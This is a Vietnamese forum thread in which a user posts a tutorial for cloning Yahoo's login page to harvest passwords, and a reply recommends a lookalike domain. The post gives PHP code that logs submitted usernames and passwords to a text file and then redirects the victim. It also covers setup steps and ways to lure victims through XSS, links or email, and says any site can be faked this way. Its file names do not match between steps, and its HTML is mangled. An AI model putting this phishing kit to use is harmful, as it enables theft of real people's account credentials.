Content Top

Tác giảThông điệp
Vip
avatar
Thông Tin hunghqit
Giới tính : Nam
Posts : 6
Thanked : 3
$ : 164
Hiện đang:
http://aka.vn

30.07.10 18:12

Chủ đề : Tut hack nick Yh...dành cho newbie thôi nhé !!!keke
--------------------------------------------------


[Hacking] Hướng dẫn làm trang yahoo giả mạo lừa lấy mật khẩu

Đầu tiên là khuyên AE nên " tham khảo học tập - không nên hack thương mại hoá " câu này của codevn...keke nhưng phá chơi thì không ai cấm...nói nhiều quá rồi AE xem tut dưới mà thực hành nhé........

- Nhân tiện đây mình cũng xin hướng dẫn các bạn cách làm trang đăng nhập yahoo,gmail... giả mạo để lừa lấy mật khẩu ...

- Còn làm sao để người ta đăng nhập bằng trang yahoo mạo đó thì do bạn: lợi dụng bug xss, hay gởi link đến nạn nhân dụ dỗ, hay email ... tùy ứng của bạn

- Yêu cầu của mình là khi bạn đọc hướng dẫn bạn làm theo và bạn phải hiểu vấn đề vì sao phải làm thế này thế kia :)

- Cái này thì cũ ri'c từ thời Hùng Vương đến giờ rùi, nhưng đôi lúc vẫn cần va't ra sử dụng đó ... Đồ cũ mà lại hiếm và hay nhìu người ko để ý.

1/ Đầu tiên mở notepad gõ vào nội dung sau:
$now = date("H:i:s Y-m-d");
$ten = $_POST['login'];
$matkhau = $_POST['passwd'];
$f=fopen("yahoo_.txt","a");
fwrite($f," $now ---- User: $ten ---- Pass: $matkhau ----\n");
fclose($f);
?>
<><>
<>location.href="http://mail.yahoo.com"< / script >
< /body>< / html>


Lưu lại với tên yahoo.php

2/ Tạo thêm 1 file y.txt với nội dung trống rỗng nữa
3/ Vào trang mail.yahoo.com save as toàn bộ trang web lại
- Mở file htm lên bằng wordpad hoặc bằng trình soạn thảo nào đó như Notepad, Notepad++,EditPlus...
Tìm dòng:
< method="post" action="https://login.yahoo.com/config/login?" autocomplete="off" name="login_form" onsubmit="return hash2(this)">

Và thay thế vào đó
< form name="login_form" action="y.php" method="post">


4/ Bây giờ bạn chỉ cần up lên host (host hỗ trợ php). Và CHMOD file y.txt là 777 ( cí chmod nài chắc cần có bài viết riêng về nó ??)
5/ Xong...

+++ Ngoài ra các bạn có thể giả mạo form đăng nhập bất kì site nào bằng cách tương tự như trên.....voọc thôi...hehe

Xem chữ ký của hunghqit
Về Đầu Trang Go down
Bookmark and Share
Vip
avatar
Thông Tin tu0ngcu0p
Giới tính : Nam
Posts : 25
Thanked : 1
$ : 151
Hiện đang:

04.09.10 10:17

Chủ đề : Re: Tut hack nick Yh...dành cho newbie thôi nhé !!!keke
--------------------------------------------------


Cái này đơn giản là lấy code của 1 site rùi sữa lại để nó lưu các biến tên đăng nhập và Pass vào file y.txt
Nhưng còn thiếu một bước là phải tạo domain giống yahoo. VD: yahoo.con.vn
Như thế sẽ thành công hơn.
Nhưng cũng chỉ có gà mới bị lừa. Vì yahoo đã thông báo sẽ ko bao giờ có các thông báo đến người sử dụng các việc sữa đổi hay đăng nhập gì.
Xem chữ ký của tu0ngcu0p
Về Đầu Trang Go down
Bookmark and Share

Tut hack nick Yh...dành cho newbie thôi nhé !!!keke

Xem chủ đề cũ hơn Xem chủ đề mới hơn Về Đầu Trang

Trang 1 trong tổng số 1 trang
Chuyển đến:
Quyền hành của bạn
Bạn không có quyền trả lời bài viết





Bottom Corner


Free forum | © phpBB | Free forum support | Liên hệ | Report an abuse | Sosblogs.com
PCT